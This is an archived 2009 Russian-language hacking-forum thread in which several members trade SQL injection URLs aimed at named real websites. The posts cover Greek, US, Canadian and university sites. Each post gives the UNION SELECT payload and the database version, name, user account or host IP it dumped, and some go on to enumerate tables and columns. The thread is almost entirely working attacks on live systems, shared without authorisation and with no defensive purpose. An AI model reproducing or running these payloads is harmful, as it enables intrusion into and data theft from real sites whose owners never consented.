ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9201  
Старый 05.05.2009, 22:05
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://sparvy.free.fr/cv/showcv.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),data base(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30--


5.0.67:SPARVY:SPARVY@172.20.245.36

короче при поиске таблиц кидает ошибку =\

------------------------------------------------------------------------
http://artistlikeourselves.com/alo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,concat_ws(0x3a,v ersi on(),data base(),user()),28/*

4.0.27-standard-log:db195527007:dbo195527007@74.208.16.30

------------------------------------------------------------------------
PR:7

попробуй прочитай

http://www.ktp.gr/am.php?id=1+union+select+1,2,concat_ws(0x3a,versio n(),database(),user()),4--

5.0.45-log:ktp_new:root@localhost

http://www.ktp.gr/am.php?id=1+union+select+1,2,concat_ws(0x3a,table_ name,0x3a),4+from+information_schema.tables--


это жесть сайт, а скока таблов =\

Последний раз редактировалось HAXTA4OK; 05.05.2009 в 22:39..
 
Ответить с цитированием

  #9202  
Старый 05.05.2009, 23:02
_SEREGA_
Banned
Регистрация: 28.03.2008
Сообщений: 138
Провел на форуме:
609080

Репутация: 184
Отправить сообщение для _SEREGA_ с помощью ICQ
По умолчанию

скуль:

Код:
http://www.thiederman.com/products_detail.php?id=-10+union+select+1,2,3,4,5,6--
версия:

Код:
http://www.thiederman.com/products_detail.php?id=-10+union+select+1,version(),3,4,5,6--

4.0.25
=(

infa:

Код:
http://www.thiederman.com/products_detail.php?id=-10+union+select+1,concat_ws(0x3a,user(),database()),3,4,5,6--
user() thieder@localhost
database() thieder
 
Ответить с цитированием

  #9203  
Старый 05.05.2009, 23:15
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://www.tvsat.gr/static.php?id=-1+union+select+concat_ws(0x3a,version(),database() ,user()),2--

5.0.77-community:tvsat_dorif:tvsat_root@localhost

PR: 2
 
Ответить с цитированием

  #9204  
Старый 05.05.2009, 23:38
_SEREGA_
Banned
Регистрация: 28.03.2008
Сообщений: 138
Провел на форуме:
609080

Репутация: 184
Отправить сообщение для _SEREGA_ с помощью ICQ
По умолчанию

скуль:

Код:
http://www.netevents.org/recent-eventsdetail.php?id=10+union+select+1,2,3,4,5--
версия:

Код:
http://www.netevents.org/recent-eventsdetail.php?id=10+union+select+1,version(),3,4,5--
4.1.22

infa:

Код:
http://www.netevents.org/recent-eventsdetail.php?id=10+union+select+1,concat_ws(0x3a,user(),database()),3,4,5--
user() videodem@localhost
database() netevents
 
Ответить с цитированием

  #9205  
Старый 05.05.2009, 23:40
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://www.hcmr.gr/english_site/news/latest/hot_topics/show_hot.php?id=-1+union+select+1,concat_ws(0x3a,version(),databa se(),user ()),3,4,5,6,7,8--


5.0.33-log:hot_topicsublic@localhost

ТИЦ: 20
PR: 7
 
Ответить с цитированием

  #9206  
Старый 05.05.2009, 23:52
_SEREGA_
Banned
Регистрация: 28.03.2008
Сообщений: 138
Провел на форуме:
609080

Репутация: 184
Отправить сообщение для _SEREGA_ с помощью ICQ
По умолчанию

скуль:

Код:
http://www.kalamazoowedding.com/inline.php?ID=-10+union+select+1,2--
версия:

Код:
http://www.kalamazoowedding.com/inline.php?ID=-10+union+select+1,version()--
5.0.27-standard

таблицы выводятся limit'om:

Код:
http://www.kalamazoowedding.com/inline.php?ID=-10+union+select+1,table_name+from+information_schema.tables--
столбцы выводятся limit'om:

Код:
http://www.kalamazoowedding.com/inline.php?ID=-10+union+select+1,column_name+from+information_schema.columns--
infa:

Код:
http://www.kalamazoowedding.com/inline.php?ID=-10+union+select+1,concat_ws(0x3a,user(),database())--
user() slatsvideo2@209.217.33.21
database() slatsvideo2
 
Ответить с цитированием

  #9207  
Старый 05.05.2009, 23:56
udman
Постоянный
Регистрация: 21.04.2009
Сообщений: 321
Провел на форуме:
785842

Репутация: 239
По умолчанию

Цитата:
http://board.2mcl.com/board/mod/full.php?id=-1'+un ion+all+select+0,1,2,concat_ws(0x3a,ver sion(),data base(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18/*
4.1.22:board2mclcom:board@localhost
 
Ответить с цитированием

  #9208  
Старый 06.05.2009, 00:19
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

http://synlab.gatech.edu/project.php?id=-61+union+select+1,version(),3,4,5,6,7,8/*
5.0.45
 
Ответить с цитированием

  #9209  
Старый 06.05.2009, 09:34
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

https://secure.vortec.com/store_products.php?catID=31&prodID=89+union+select +1,2,3,4,5,6,7,concat_ws(0x3b,version(),user(),dat abase()),9,0,11,12,13,14,15,16,17,18,19,0,21,22+--

5.0.67-log;vortec_user@209.173.135.197;vortec_db
 
Ответить с цитированием

  #9210  
Старый 06.05.2009, 09:35
_SEREGA_
Banned
Регистрация: 28.03.2008
Сообщений: 138
Провел на форуме:
609080

Репутация: 184
Отправить сообщение для _SEREGA_ с помощью ICQ
По умолчанию

скуль:

Код:
http://www.exhalefitness.ca/index.php?id=-10+union+select+1,2,3,4,5,6--
версия:

Код:
http://www.exhalefitness.ca/index.php?id=-10+union+select+1,version(),3,4,5,6--
5.0.51-log

таблицы выводятся limit'om:

Код:
http://www.exhalefitness.ca/index.php?id=-10+union+select+1,table_name,3,4,5,6+from+information_schema.tables--
столбцы выводятся limit'om:

Код:
http://www.exhalefitness.ca/index.php?id=-10+union+select+1,column_name,3,4,5,6+from+information_schema.columns--
infa:

Код:
http://www.exhalefitness.ca/index.php?id=-10+union+select+1,concat_ws(0x3a,user()),3,4,5,6--
user() dbo228987490@74.208.16.88
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ